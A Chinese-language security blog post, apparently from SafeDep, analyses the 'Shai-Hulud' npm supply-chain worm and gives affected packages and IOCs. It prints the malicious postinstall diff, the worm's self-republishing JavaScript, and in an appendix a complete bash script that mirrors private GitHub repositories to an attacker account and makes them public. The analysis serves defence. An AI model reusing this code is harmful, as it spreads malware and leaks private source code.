目录
简述
npm 供应链攻击仍在持续。此次攻击针对 @ctrl/tinycolor 及多个其他 npm 软件包,植入凭证窃取恶意软件。在本博客中,我们将分析此次攻击及其对 npm 生态系统的影响。我们还将探讨针对维护者的常见攻击模式。
更新:除已提及的软件包外,发现以下新增软件包同样受到相同攻击模式影响。
| 软件包名称 | 版本 |
|---|---|
| @crowdstrike/logscale-dashboard | 1.205.2 |
| @crowdstrike/falcon-shoelace | 0.4.1 |
| @crowdstrike/falcon-shoelace | 0.4.2 |
| @crowdstrike/logscale-file-editor | 1.205.2 |
| @crowdstrike/logscale-parser-edit | 1.205.2 |
| eslint-config-crowdstrike-node | 4.0.4 |
| eslint-config-crowdstrike | 11.0.2 |
| remark-preset-lint-crowdstrike | 4.0.2 |
| @things-factory/email-base | 9.0.43 |
| @things-factory/env | 9.0.43 |
| @operato/headroom | 9.0.35 |
| @things-factory/integration-base | 9.0.43 |
| tbssnch | 1.0.2 |
| @things-factory/integration-marketplace | 9.0.42 |
| @operato/styles | 9.0.2 |
| @things-factory/email-base | 9.0.42 |
| @yoobic/jpeg-camera-es6 | 1.0.13 |
| yoo-styles | 6.0.326 |
最近我们观察到多起针对 npm 生态系统的高调软件供应链攻击:
- ansi-styles、debug、chalk 等多个 npm 软件包被入侵
- nx Build System 被入侵
- DuckDB npm 软件包被入侵
- eslint-config-prettier 被入侵
这些攻击针对的软件包每周下载量合计超过 20 亿次。虽然这些攻击中使用的有效载荷技术 sophistication 水平存疑,但恶意行为者持续成功入侵广受欢迎的开源软件包,暴露了开源软件供应链的风险,尤其是对于发布专业软件软件开发团队而言。
然而,在这些攻击中可以观察到一些常见模式:
- 针对维护者的双因素认证(2FA)钓鱼攻击,如 eslint-config-prettier 事件 中所见
- 针对休眠软件包的维护者,如 ansi-style 事件 和今天的攻击中所见。
例如,@ctrl/tinycolor 已有一年多没有发布新版本了。
恶意有效载荷摘要
凭证收集:
- 使用
gh auth token命令生成 GitHub 认证令牌 - 从环境变量、配置文件、Web Identity Token 和 EC2 实例元数据服务(IMDS)中收集 AWS 凭证
- 使用 TruffleHog 扫描本地文件系统以查找密钥和凭证
- 将所有发现的凭证外泄到攻击者控制的
webhook.siteURL
仓库入侵:
- 向可访问的已入侵用户的所有仓库注入恶意 GitHub Action 工作流
- 复制私有仓库并将其公开,描述为
Shai-Hulud Migration - 在迁移过程中移除
.github/workflows目录以避免被发现
自我传播蠕虫行为:
- 从
.npmrc文件中提取 npm 认证令牌 - 识别已入侵用户具有维护者权限的 npm 软件包
- 下载软件包 tarball,注入恶意
bundle.js有效载荷,并添加 postinstall 脚本 - 自动向 npm 注册表发布新的恶意版本软件包
- 递增软件包版本号以确保恶意版本被视为更新
SafeDep 如何提供帮助?
保护 GitHub 仓库
为保护开发者社区免受 SafeDep 标记的恶意软件包侵害,我们构建了免费使用的 SafeDep GitHub App。可以零配置安装,它将扫描每个 pull request 以检测恶意软件包。
保护开发者环境
SafeDep 开源工具,特别是 vet 和 pmg,可以帮助开发者防范恶意软件包和其他开源软件供应链攻击。
攻击过程
以下是由 Socket Security 公布受影响软件包版本列表:
技术分析
我们将使用 @ctrl/deluge@7.2.2 作为恶意样本进行分析。SafeDep 的自动化恶意软件包分析引擎基于 post-install 脚本和签名匹配 标记了此版本。
| 字段 | 值 |
|---|---|
| 软件包 | @ctrl/[email protected] |
| 状态 | 恶意 |
| 分析时间 | 2025-09-15T20:14:35Z |
| 来源 | https://registry.npmjs.org/@ctrl/deluge/-/deluge-7.2.2.tgz |
| SHA256 | bc18414929992e8e8d2211f9c51ebc7241294a1af3cfdbdd5ca417974b2dac0b |
我们比较了 7.2.0 和 7.2.2 版本以识别恶意更改。明显的区别是软件包的大小。
❯ du -sh *
12K deluge-7.2.0.tgz
2.0M deluge-7.2.2.tgz随后,我们查看了 package.json 更改,并观察到恶意版本中引入了一个新的 postinstall 脚本。
❯ diff -u package-7.2.0/package.json package-7.2.2/package.json
--- package-7.2.0/package.json 1985-10-26 13:45:00
+++ package-7.2.2/package.json 2025-09-16 01:43:28
@@ -1,6 +1,6 @@
{
"name": "@ctrl/deluge",
- "version": "7.2.0",
+ "version": "7.2.2",
"description": "TypeScript api wrapper for deluge using got",
"author": "Scott Cooper <[email protected]>",
"license": "MIT",
@@ -25,7 +25,8 @@
"build:docs": "typedoc",
"test": "vitest run",
"test:watch": "vitest",
- "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml"
+ "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml",
+ "postinstall": "node bundle.js"
},
"dependencies": {
"@ctrl/magnet-link": "^4.0.2",
@@ -83,4 +84,4 @@
"importOrderSeparation": true,
"importOrderSortSpecifiers": false
}
-}
+}查看 bundle.js 中的一些字符串,它似乎使用 webpack 进行打包。
/*! For license information please see bundle.js.LICENSE.txt */
import{createRequire as __WEBPACK_EXTERNAL_createRequire}from"node:module";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307
,308])有效载荷
在 bundle.js 中观察到的恶意有效载荷:
- 使用当前用户的凭证通过
gh auth token生成 GitHub 认证令牌 - 包含一个嵌入式 bash 脚本,用于向认证用户的所有仓库注入恶意 GitHub Action 工作流
- 包含一个嵌入式 bash 脚本,用于使用被入侵的 GitHub 令牌复制私有仓库并将其公开,描述为
Shai-Hulud Migration - 使用 Trufflehog 从本地文件系统中挖掘密钥并将其外泄到攻击者控制的
webhook.siteURL - 从环境变量、本地配置文件、Web Identity Token 和 IMDS 端点收集 AWS 凭证
自我复制蠕虫行为
bundle.js 有效载荷具有自我复制蠕虫行为,可感染认证用户可访问的 npm 软件包。为此,有效载荷执行以下操作:
- 从
.npmrc文件中查找被入侵用户的 npm 令牌 - 调用
https://registry.npmjs.org/-/whoami验证令牌并检索用户名 - 搜索认证用户作为维护者可访问的软件包
- 下载软件包 tarball,注入
bundle.js有效载荷,并在package.json中添加 postinstall 脚本 - 使用
npm publish ...命令将软件包发布到认证用户的 npm 注册表
示例代码:
async searchPackages(t, r = 20) {
const n = \`/-/v1/search?text=${encodeURIComponent(t)}&size=${r}\`,
F = \`${this.baseUrl}${n}\`;
try {
const t = await fetch(F, {
method: "GET",
headers: this.getHeaders(!1)
});
if (!t.ok) throw new Error(\`HTTP ${t.status}: ${t.statusText}\`);
return (await t.json()).objects || []
} catch (t) {
return console.error("Error searching packages:", t), []
}
}更新软件包以注入 bundle.js 并修改 package.json
async updatePackage(t) {
try {
const ie = await fetch(t.tarballUrl, {
method: "GET",
headers: {
"User-Agent": this.userAgent,
Accept: "*/*",
"Accept-Encoding": "gzip, deflate, br"
}
});
// [...]
try {
await re.promises.writeFile(ce, se), await te(\`gzip -d -c ${ce} > ${le}\`), await te(\`tar -xf ${le} -C ${ae} package/package.json\`);
const t = ne.join(ae, "package", "package.json"),
r = await re.promises.readFile(t, "utf-8"),
n = JSON.parse(r);
if (n.version) {
const t = n.version.split(".");
if (3 === t.length) {
const r = parseInt(t[0]),
F = parseInt(t[1]),
te = parseInt(t[2]);
isNaN(te) || (n.version = \`${r}.${F}.${te+1}\`)
}
}
n.scripts || (n.scripts = {}), n.scripts.postinstall = "node bundle.js", await re.promises.writeFile(t, JSON.stringify(n, null, 2)), await te(\`tar -uf ${le} -C ${ae} package/package.json\`);
const F = process.argv[1];
if (F && await re.promises.access(F).then(() => !0).catch(() => !1)) {
const t = ne.join(ae, "package", "bundle.js"),
r = await re.promises.readFile(F);
await re.promises.writeFile(t, r), await te(\`tar -uf ${le} -C ${ae} package/bundle.js\`)
}
await te(\`gzip -c ${le} > ${ue}\`), await te(\`npm publish ${ue}\`), await re.promises.rm(ae, {
recursive: !0,
force: !0
})
} catch (t) {
// [...]
}
} catch (t) {
throw new Error(\`Failed to update package: ${t}\`)
}
}影响
在撰写本文时,至少有 650+ 个仓库似乎受到此次攻击影响,如 GitHub 搜索 所示。
入侵指标(IOC)
bundle.jsSHA246faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09- 描述为
Shai-Hulud Migration的 GitHub 仓库 示例 - 到
hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7的 HTTP 请求
附录
从 bundle.js 中手动提取的 shell 脚本,使用被入侵的 GitHub 令牌外泄私有仓库并将其公开,描述为 Shai-Hulud Migration:
#!/bin/bash
#-----------------------------------------------------------------------
# This script is designed to migrate all private and internal GitHub
# repositories from a source organization to a target user's account.
#
# It performs the following actions:
# 1. Fetches all non-archived private and internal repositories from the SOURCE_ORG.
# 2. For each repository, it creates a new private repository under the TARGET_USER.
# 3. It then mirrors the original repository to the new one.
# 4. Crucially, it removes the .github/workflows directory during migration.
# 5. After a successful migration, it makes the new repository PUBLIC.
#
# Usage:
# ./migrate_script.sh <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>
#
# Arguments:
# SOURCE_ORG: The name of the GitHub organization to migrate from.
# TARGET_USER: The GitHub username to migrate the repositories to.
# GITHUB_TOKEN: A personal access token with 'repo' scope.
#-----------------------------------------------------------------------
SOURCE_ORG=""
TARGET_USER=""
GITHUB_TOKEN=""
PER_PAGE=100
TEMP_DIR=""
# --- Argument Validation ---
if [[ $# -lt 3 ]]; then
echo "Error: Missing arguments."
echo "Usage: $0 <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>"
exit 1
fi
SOURCE_ORG="$1"
TARGET_USER="$2"
GITHUB_TOKEN="$3"
if [[ -z "$SOURCE_ORG" || -z "$TARGET_USER" || -z "$GITHUB_TOKEN" ]]; then
echo "Error: All three arguments are required."
exit 1
fi
# Create a temporary directory for cloning repositories
TEMP_DIR="./temp$TARGET_USER"
mkdir -p "$TEMP_DIR"
TEMP_DIR=$(realpath "$TEMP_DIR")
# --- Function to make authenticated GitHub API calls ---
github_api() {
local endpoint="$1"
local method="${2:-GET}"
local data="${3:-}"
local curl_args=("-s" "-w" "%{http_code}" "-H" "Authorization: token $GITHUB_TOKEN" "-H" "Accept: application/vnd.github.v3+json")
if [[ "$method" != "GET" ]]; then
curl_args+=("-X" "$method")
fi
if [[ -n "$data" ]]; then
curl_args+=("-H" "Content-Type: application/json" "-d" "$data")
fi
curl "${curl_args[@]}" "https://api.github.com$endpoint"
}
# --- Function to retrieve all repositories from an organization ---
get_all_repos() {
local org="$1"
local page=1
local all_slugs="[]"
while true; do
local response
response=$(github_api "/orgs/$org/repos?type=private,internal&per_page=$PER_PAGE&page=$page")
local http_code="${response: -3}"
local body="${response%???}"
if ! echo "$body" | jq empty 2>/dev/null || ! echo "$body" | jq -e 'type == "array"' >/dev/null; then
return 1
fi
local repos_count
repos_count=$(echo "$body" | jq length)
if [[ "$repos_count" -eq 0 ]]; then
break
fi
local page_slugs
page_slugs=$(echo "$body" | jq '[.[] | select(.archived == false) | .full_name]')
all_slugs=$(echo "$all_slugs" "$page_slugs" | jq -s 'add')
((page++))
done
echo "$all_slugs"
}
# --- Function to create a new repository for the target user ---
create_repo() {
local repo_name="$1"
local repo_data
repo_data=$(cat <<EOF
{
"name": "$repo_name",
"description": "Shai-Hulud Migration",
"private": true,
"has_issues": false,
"has_projects": false,
"has_wiki": false
}
EOF
)
local response
response=$(github_api "/user/repos" "POST" "$repo_data")
local http_code="${response: -3}"
local body="${response%???}"
if echo "$body" | jq -e '.name' >/dev/null 2>&1; then
return 0
else
# Handle secondary rate limits by sleeping
if [[ "$http_code" =~ ^4[0-9][0-9]$ ]] && echo "$body" | grep -qi "secondary rate"; then
sleep 600
response=$(github_api "/user/repos" "POST" "$repo_data")
http_code="${response: -3}"
body="${response%???}"
if echo "$body" | jq -e '.name' >/dev/null 2>&1; then
return 0
fi
fi
return 1
fi
}
# --- Function to make a repository public ---
make_repo_public() {
local repo_name="$1"
local repo_data
repo_data=$(cat <<EOF
{
"private": false
}
EOF
)
local response
response=$(github_api "/repos/$TARGET_USER/$repo_name" "PATCH" "$repo_data")
local http_code="${response: -3}"
local body="${response%???}"
if echo "$body" | jq -e '.private == false' >/dev/null 2>&1; then
return 0
else
return 1
fi
}
# --- Function to migrate a repository using git mirror ---
migrate_repo() {
local source_clone_url="$1"
local target_clone_url="$2"
local migration_name="$3"
local repo_dir="$TEMP_DIR"
if ! git clone --mirror "$source_clone_url" "$repo_dir/$migration_name" 2>/dev/null; then
return 1
fi
cd "$repo_dir/$migration_name"
if ! git remote set-url origin "$target_clone_url" 2>/dev/null; then
cd - >/dev/null
return 1
fi
# Temporarily convert to a regular repo to remove workflows
git config --unset core.bare
git reset --hard
# Remove workflows directory and commit the change
if [[ -d ".github/workflows" ]]; then
rm -rf .github/workflows
git add -A
git commit -m "Remove GitHub workflows directory"
fi
# Convert back to a bare repo for mirroring
git config core.bare true
rm -rf *
if ! git push --mirror 2>/dev/null; then
cd - >/dev/null
return 1
fi
cd - >/dev/null
rm -rf "$repo_dir/$migration_name"
return 0
}
# --- Function to process the list of repositories ---
process_repositories() {
local repos="$1"
local total_repos
total_repos=$(echo "$repos" | jq length)
if [[ "$total_repos" -eq 0 ]]; then
return 0
fi
local success_count=0
local failure_count=0
for i in $(seq 0 $((total_repos - 1))); do
local repo
repo=$(echo "$repos" | jq -r ".[$i]")
local migration_name="${repo//\//-}-migration"
local auth_source_url="https://$GITHUB_TOKEN@github.com/$repo.git"
local auth_target_url="https://$GITHUB_TOKEN@github.com/$TARGET_USER/$migration_name.git"
echo "Migrating $repo to $TARGET_USER/$migration_name..."
if create_repo "$migration_name"; then
if migrate_repo "$auth_source_url" "$auth_target_url" "$migration_name"; then
if make_repo_public "$migration_name"; then
echo " -> Success: Migrated and made public."
((success_count++))
else
# Still counts as a success if migration worked but public toggle failed
echo " -> Warning: Migrated but failed to make public."
((success_count++))
fi
else
echo " -> Error: Migration failed."
((failure_count++))
fi
else
echo " -> Error: Could not create target repository."
((failure_count++))
fi
done
echo "-------------------------------------"
echo "Migration Complete."
echo "Successful: $success_count"
echo "Failed: $failure_count"
echo "-------------------------------------"
return $failure_count
}
# --- Main execution block ---
main() {
# Check for required command-line tools
for tool in curl jq git; do
if ! command -v "$tool" &> /dev/null; then
echo "Error: Required tool '$tool' is not installed."
exit 1
fi
done
echo "Fetching repositories from $SOURCE_ORG..."
local repos
if ! repos=$(get_all_repos "$SOURCE_ORG"); then
echo "Error: Failed to fetch repositories from $SOURCE_ORG."
exit 1
fi
process_repositories "$repos"
}
# Run main function with provided arguments
main "$@"- npm
- oss
- malware
- supply-chain
SafeDep 博客最新动态
关注以获取开源安全与工程的最新更新和见解